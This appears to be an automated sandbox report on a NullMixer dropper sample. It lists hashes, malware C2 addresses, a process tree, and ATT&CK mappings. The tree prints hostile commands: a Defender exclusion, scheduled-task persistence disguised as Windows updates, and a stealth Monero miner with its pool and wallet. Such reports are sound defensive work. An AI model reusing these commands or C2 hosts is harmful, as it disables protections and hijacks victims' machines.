Overview

overview

10

Static

static

3

640241afe8...xe.exe

windows7-x64

10

640241afe8...xe.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    07-01-2024 19:31

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    640241afe83f23ed74de217149943294fb612ba8a283edb5049c23f059414a8aexe.exe

  • Size

    4.7MB

  • MD5

    64a534242627bc0dfc8bdb32f49a4d59

  • SHA1

    8cec059ca3eb9b8a77775c021c155f00c9d18395

  • SHA256

    640241afe83f23ed74de217149943294fb612ba8a283edb5049c23f059414a8a

  • SHA512

    b8a677769ade9740f63cb163b69bcaed61583185f9a62fb2e672123b8445c90fafbc2036bbb64f6f301390210d06dda607b12b783ba1155666043d3534405152

  • SSDEEP

    98304:yXmTuJH5FPywbQ/zpgXGfVfhYB726W9B/VIPGbgKVZ1G:yXmqRPYppdfZfVIPEG

Score
10/10
betabotfabookiegcleanernullmixeronlyloggerprivateloadersmokeloadervidar706aspackv2backdoorbotnetdropperevasionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Family

nullmixer

C2

http://hsiens.xyz/

Extracted

Family

privateloader

C2

http://37.0.10.214/proxies.txt

http://37.0.10.244/server.txt

http://wfsdragon.ru/api/setStats.php

37.0.10.237

Extracted

Family

vidar

Version

40.1

Botnet

706

C2

https://eduarroma.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

smokeloader

Version

2020

C2

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/
rc4.i32
rc4.i32

Extracted

Family

gcleaner

C2

194.145.227.161

Signatures

  • BetaBot

    Beta Bot is a Trojan that infects computers and disables Antivirus.

    trojanbackdoorbotnetbetabot
  • Detect Fabookie payload 1 IoCs
  • Fabookie

    Fabookie is facebook account info stealer.

    spywarestealerfabookie
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Modifies firewall policy service 2 TTPs 8 IoCs
    evasion
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • NullMixer

    NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.

    droppernullmixer
  • OnlyLogger

    A tiny loader that uses IPLogger to get its payload.

    loaderonlylogger
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • OnlyLogger payload 2 IoCs
  • Vidar Stealer 4 IoCs
    stealer
  • Disables taskbar notifications via registry modification
    evasion
  • Disables use of System Restore points 1 TTPs
    evasion
  • Looks for VMWare services registry key. 1 TTPs 3 IoCs
    evasion
  • Sets file execution options in registry 2 TTPs 20 IoCs
    persistence
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • ASPack v2.12-2.42 3 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 31 IoCs
  • Loads dropped DLL 64 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 6 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 6 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 24 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 10 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies Internet Explorer Protected Mode 1 TTPs 4 IoCs
  • Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • NTFS ADS 4 IoCs
  • Runs regedit.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    1⤵
      PID:1232
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1268
      • C:\Users\Admin\AppData\Local\Temp\640241afe83f23ed74de217149943294fb612ba8a283edb5049c23f059414a8aexe.exe
        "C:\Users\Admin\AppData\Local\Temp\640241afe83f23ed74de217149943294fb612ba8a283edb5049c23f059414a8aexe.exe"
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:3000
        • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
          "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2416
          • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\setup_install.exe
            "C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\setup_install.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2596
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              5⤵
                PID:948
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2948
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Sun041024b30f4a0.exe
                5⤵
                • Loads dropped DLL
                PID:1744
                • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun041024b30f4a0.exe
                  Sun041024b30f4a0.exe
                  6⤵
                  • Executes dropped EXE
                  PID:364
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Sun043bec3ec581a9.exe
                5⤵
                • Loads dropped DLL
                PID:2500
                • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun043bec3ec581a9.exe
                  Sun043bec3ec581a9.exe
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Modifies system certificate store
                  PID:1948
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1948 -s 960
                    7⤵
                    • Program crash
                    PID:1032
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Sun047089ae5093c14.exe
                5⤵
                • Loads dropped DLL
                PID:1500
                • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun047089ae5093c14.exe
                  Sun047089ae5093c14.exe
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:2560
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Sun045118d0261f811cc.exe
                5⤵
                • Loads dropped DLL
                PID:572
                • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun045118d0261f811cc.exe
                  Sun045118d0261f811cc.exe
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1952
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1952 -s 608
                    7⤵
                    • Program crash
                    PID:2760
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2760 -s 624
                      8⤵
                      • Program crash
                      PID:2864
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Sun043e60205beb4f.exe
                5⤵
                • Loads dropped DLL
                PID:2224
                • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun043e60205beb4f.exe
                  Sun043e60205beb4f.exe
                  6⤵
                  • Looks for VMWare services registry key.
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks whether UAC is enabled
                  • Maps connected drives based on registry
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:1244
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Sun04637c853e.exe
                5⤵
                • Loads dropped DLL
                PID:1084
                • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun04637c853e.exe
                  Sun04637c853e.exe
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2000
                  • C:\Users\Admin\AppData\Local\Temp\is-63UMJ.tmp\Sun04637c853e.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-63UMJ.tmp\Sun04637c853e.tmp" /SL5="$201F6,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun04637c853e.exe"
                    7⤵
                      PID:1608
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Sun0473a3260232e1c.exe
                  5⤵
                  • Loads dropped DLL
                  PID:1164
                  • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun0473a3260232e1c.exe
                    Sun0473a3260232e1c.exe
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1920
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Sun04f8c94eea9cb9.exe
                  5⤵
                  • Loads dropped DLL
                  PID:1700
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Sun04dac6d7a0.exe
                  5⤵
                  • Loads dropped DLL
                  PID:1752
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2596 -s 436
                  5⤵
                  • Loads dropped DLL
                  • Program crash
                  PID:2192
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2192 -s 632
                    6⤵
                    • Program crash
                    PID:1492
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2416 -s 344
                4⤵
                • Program crash
                PID:1588
          • C:\Users\Admin\AppData\Local\Temp\2A7A.exe
            C:\Users\Admin\AppData\Local\Temp\2A7A.exe
            2⤵
            • Sets file execution options in registry
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Checks processor information in registry
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            PID:2848
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              3⤵
              • Modifies firewall policy service
              • Sets file execution options in registry
              • Checks BIOS information in registry
              • Adds Run key to start application
              • Drops desktop.ini file(s)
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Checks processor information in registry
              • Enumerates system info in registry
              • Modifies Internet Explorer Protected Mode
              • Modifies Internet Explorer Protected Mode Banner
              • Modifies Internet Explorer settings
              • NTFS ADS
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              PID:2608
              • C:\Users\Admin\AppData\Local\Temp\qoseikss1cw7_1.exe
                /suac
                4⤵
                • Modifies firewall policy service
                • Sets file execution options in registry
                • Executes dropped EXE
                • Checks for any installed AV software in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Checks processor information in registry
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of AdjustPrivilegeToken
                PID:2880
                • C:\Windows\SysWOW64\regedit.exe
                  "C:\Windows\SysWOW64\regedit.exe"
                  5⤵
                  • Modifies security service
                  • Sets file execution options in registry
                  • Sets service image path in registry
                  • Runs regedit.exe
                  PID:1072
                • C:\Windows\SysWOW64\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /CREATE /SC ONLOGON /TN "Windows Update Check - 0x1BB70478" /TR "C:\PROGRA~3\JAVAUP~1\QOSEIK~1.EXE" /RL HIGHEST
                  5⤵
                  • Creates scheduled task(s)
                  PID:1524
          • C:\Users\Admin\AppData\Local\Temp\52A3.exe
            C:\Users\Admin\AppData\Local\Temp\52A3.exe
            2⤵
            • Executes dropped EXE
            PID:2136
        • C:\Windows\system32\conhost.exe
          \??\C:\Windows\system32\conhost.exe "2004686144-118907148718194177782097248288-1463520282-2146487222-9021175951750258551"
          1⤵
            PID:2844
          • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun04dac6d7a0.exe
            Sun04dac6d7a0.exe
            1⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1260
            • C:\Users\Admin\AppData\Local\Temp\chrome3.exe
              "C:\Users\Admin\AppData\Local\Temp\chrome3.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1644
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                3⤵
                  PID:240
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                    4⤵
                    • Creates scheduled task(s)
                    PID:2464
                • C:\Users\Admin\AppData\Roaming\services64.exe
                  "C:\Users\Admin\AppData\Roaming\services64.exe"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2800
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                    4⤵
                      PID:1604
                      • C:\Windows\system32\schtasks.exe
                        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                        5⤵
                        • Creates scheduled task(s)
                        PID:1560
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                      4⤵
                        PID:2904
                  • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                    "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:940
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1260 -s 972
                    2⤵
                    • Loads dropped DLL
                    • Program crash
                    PID:2200
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 624
                      3⤵
                      • Program crash
                      PID:2636
                • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun04f8c94eea9cb9.exe
                  Sun04f8c94eea9cb9.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2504
                  • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1284
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                      3⤵
                        PID:2516
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                          4⤵
                          • Creates scheduled task(s)
                          PID:2212
                      • C:\Users\Admin\AppData\Roaming\services64.exe
                        "C:\Users\Admin\AppData\Roaming\services64.exe"
                        3⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Modifies system certificate store
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1976
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                          4⤵
                            PID:2112
                            • C:\Windows\system32\schtasks.exe
                              schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                              5⤵
                              • Creates scheduled task(s)
                              PID:1532
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                            4⤵
                            • Executes dropped EXE
                            PID:1408
                          • C:\Windows\explorer.exe
                            C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                            4⤵
                              PID:1148
                        • C:\Users\Admin\AppData\Local\Temp\PBrowFile594.exe
                          "C:\Users\Admin\AppData\Local\Temp\PBrowFile594.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1620
                        • C:\Users\Admin\AppData\Local\Temp\2.exe
                          "C:\Users\Admin\AppData\Local\Temp\2.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1228
                        • C:\Users\Admin\AppData\Local\Temp\setup.exe
                          "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Checks whether UAC is enabled
                          PID:1668
                        • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                          "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2292
                          • C:\Users\Admin\AppData\Local\Temp\is-EVKHH.tmp\setup_2.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-EVKHH.tmp\setup_2.tmp" /SL5="$201BC,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                            3⤵
                            • Executes dropped EXE
                            PID:2720
                            • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                              "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                              4⤵
                              • Executes dropped EXE
                              PID:2892
                              • C:\Users\Admin\AppData\Local\Temp\is-CHPP3.tmp\setup_2.tmp
                                "C:\Users\Admin\AppData\Local\Temp\is-CHPP3.tmp\setup_2.tmp" /SL5="$A01BE,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                5⤵
                                • Looks for VMWare services registry key.
                                • Executes dropped EXE
                                • Adds Run key to start application
                                • Checks whether UAC is enabled
                                • Maps connected drives based on registry
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious behavior: GetForegroundWindowSpam
                                PID:2288
                        • C:\Users\Admin\AppData\Local\Temp\3002.exe
                          "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:1640
                          • C:\Users\Admin\AppData\Local\Temp\3002.exe
                            "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                            3⤵
                            • Looks for VMWare services registry key.
                            • Executes dropped EXE
                            • Checks whether UAC is enabled
                            • Maps connected drives based on registry
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            PID:2688
                        • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                          "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:1588
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 1100
                          2⤵
                          • Program crash
                          PID:2300
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 624
                            3⤵
                            • Program crash
                            PID:2764
                      • C:\Windows\system32\DllHost.exe
                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                        1⤵
                          PID:2132
                        • C:\Windows\system32\conhost.exe
                          \??\C:\Windows\system32\conhost.exe "-1123323611-629947275-14237999904116058941331388040-1389623353-233765702415995664"
                          1⤵
                            PID:2064
                          • C:\Windows\system32\wbem\wmiprvse.exe
                            C:\Windows\system32\wbem\wmiprvse.exe -Embedding
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:1608
                          • C:\Windows\system32\conhost.exe
                            \??\C:\Windows\system32\conhost.exe "-680568721-317033627633521073891971017-945935072577254687-217881965489963448"
                            1⤵
                              PID:2276
                            • C:\Windows\system32\conhost.exe
                              \??\C:\Windows\system32\conhost.exe "8144506311850775561452332201-534588204-15969450552028284873106572381-634524299"
                              1⤵
                                PID:1764

                              Network

                              MITRE ATT&CK Enterprise v15

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Scheduled Task/Job

                              1
                              T1053

                              Persistence

                              Boot or Logon Autostart Execution

                              3
                              T1547

                              Registry Run Keys / Startup Folder

                              3
                              T1547.001

                              Create or Modify System Process

                              2
                              T1543

                              Windows Service

                              2
                              T1543.003

                              Scheduled Task/Job

                              1
                              T1053

                              Privilege Escalation

                              Boot or Logon Autostart Execution

                              3
                              T1547

                              Registry Run Keys / Startup Folder

                              3
                              T1547.001

                              Create or Modify System Process

                              2
                              T1543

                              Windows Service

                              2
                              T1543.003

                              Scheduled Task/Job

                              1
                              T1053

                              Defense Evasion

                              Modify Registry

                              9
                              T1112

                              Subvert Trust Controls

                              1
                              T1553

                              Install Root Certificate

                              1
                              T1553.004

                              Virtualization/Sandbox Evasion

                              1
                              T1497

                              Credential Access

                              Discovery

                              Peripheral Device Discovery

                              2
                              T1120

                              Query Registry

                              6
                              T1012

                              Software Discovery

                              1
                              T1518

                              Security Software Discovery

                              1
                              T1518.001

                              System Information Discovery

                              7
                              T1082

                              Virtualization/Sandbox Evasion

                              1
                              T1497

                              Lateral Movement

                              Collection

                              Command and Control

                              Web Service

                              1
                              T1102

                              Exfiltration

                              Impact

                              Inhibit System Recovery

                              1
                              T1490

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Temp\2A7A.exe
                                Filesize

                                360KB

                                MD5

                                0c819dd27a128d9234daa3d772fb8c20

                                SHA1

                                d5d36492818872da8e70dc28cc85389b8e0f3819

                                SHA256

                                ae088798b181a2bf822fcd3bec3a11779f45a8e3b83cb6c75c5ffbffc3c3d5b2

                                SHA512

                                f502ddb79703297cf0592e68c3f1f964584725d7aa670272998f174ffa108bb7340c0d65d38d69e1b3f7f1217628dadda108fa2d5fe1eab73b7b3302b9f769b7

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                Filesize

                                56KB

                                MD5

                                e511bb4cf31a2307b6f3445a869bcf31

                                SHA1

                                76f5c6e8df733ac13d205d426831ed7672a05349

                                SHA256

                                56002017746f61eee8d8e9b5ad2f3cbb119dc99300c5b6d32c1be184d3e25137

                                SHA512

                                9c81de34bf3b0eb75405c726d641ef6090054e9be8e0c0ab1bb2ed095e6477ce2fa8996868bf8a77a720b210a76b5f4e1b3b086d7f40449d79498681b367199c

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun041024b30f4a0.exe
                                Filesize

                                1.3MB

                                MD5

                                e113dae909b8fe86578d8558326d626b

                                SHA1

                                28d21842fce5df5dee1704eb4c28388c44860a53

                                SHA256

                                6e42b651324f4b813fc623bfd8ad7862ae425123d1b84f9c9dd6da6b45bc9f11

                                SHA512

                                d52e53d1c9d3f69d9651843c311c24de9d9b49e7ed7324bc42ce39a13c41ade20d95f1e3e519ce4e3a87cc3310340e582d76de788d6e39e4976e98dd4d3c3bd4

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun043bec3ec581a9.exe
                                Filesize

                                505KB

                                MD5

                                7819b4b201cf40ca593d57d097da6ad4

                                SHA1

                                c9ac0551dabe37ab5b45e41a4269264d5290aa5d

                                SHA256

                                c68e1d85b2148cb8d8c87af42a364b5ff4d8bb87704a901921570efc880d0789

                                SHA512

                                f0302bcb4ffe46ad447e246f5c666d2b70b28302f2b7d8053891437f1b540bc708219f5ec1db60432f143ecc08d26794aa66e3a87334e5be3b01a58c0de5dd76

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun04637c853e.exe
                                Filesize

                                757KB

                                MD5

                                8887a710e57cf4b3fe841116e9a0dfdd

                                SHA1

                                8c1f068d5dda6b53db1c0ba23fd300ac2f2197c4

                                SHA256

                                e045b4a1c9f6640814f6e39903e1f03f2c7f1e3b3d1c6dbf07a409732655eff4

                                SHA512

                                1507f3d3a32c8c0d1ae2ee2a6f02f86f7de5f956ef066c7284ff4f847a5fe8322984043ee95b576eb4d40b2f08508e49059a581443605978ec4cba03da1273a6

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun047089ae5093c14.exe
                                Filesize

                                139KB

                                MD5

                                21c2e29752775312d9abd41a4c96c79d

                                SHA1

                                661c9880a62f799ecedc44482919b52073aa86ec

                                SHA256

                                0c8bdc0a9db56e786392211abc98392c9f3c0fc916815d351a1f722056753bad

                                SHA512

                                4dd2cb30414323ad75a1b8d140b9fffc009f887f40a2b3f1e56efd7dc34e43ce8e34d61ebf8f620f811cf2086c816f0a0a65fa460614803fa6bf1d7530bcc41b

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun0473a3260232e1c.exe
                                Filesize

                                152KB

                                MD5

                                e9607f4023c8d12653a55373ded4250b

                                SHA1

                                afebad89cc738766e2e9d19c64df1818ef84a49c

                                SHA256

                                974754ed05dc489b5db9de968c4316766675fdc35911b31c9238b7efd7c8c0aa

                                SHA512

                                c2b239978402ba2268839ecbb92b53e800e842288c03dccd72ea709e3cb8a9e291a962eb71bd770d973099b40a472cf6101a11af15e7e0289ed8cdbfd5e5e8fa

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun04dac6d7a0.exe
                                Filesize

                                1.2MB

                                MD5

                                f79878c5bb37eaf44b6632dfdf5207a0

                                SHA1

                                175d67306e3c8795da5d7a6bed638ed071dd3cbb

                                SHA256

                                5bc06297cbc3f94d9794721ef91fa737da870c7a822efd5e603516153074fbb3

                                SHA512

                                a98e69b463a6a8cfd71cd1767c037ae337feab8aec30b615b8f35adc4347d32230147097fa3204600c1d66d3b2f8e99f9716fc263bb7af048153828d048bf919

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\Sun04f8c94eea9cb9.exe
                                Filesize

                                1.0MB

                                MD5

                                2949f508ff5e507bff7801a9f81dac62

                                SHA1

                                7629d2ca3be460943514b1209ee789d96d915c52

                                SHA256

                                2794d8e923e83300f932da44a06062fd8f3b3f45717bc1b1921bb16d23a2277a

                                SHA512

                                422f5b80c3a2a63e5adfacd732ec89baf31da5d272fa98c29a553b93e48918ed26de0c027906ccf612d3585c9f82f904ba38e385a9ee53dbda18d485908524d7

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\7zS079D1C86\libcurlpp.dll
                                Filesize

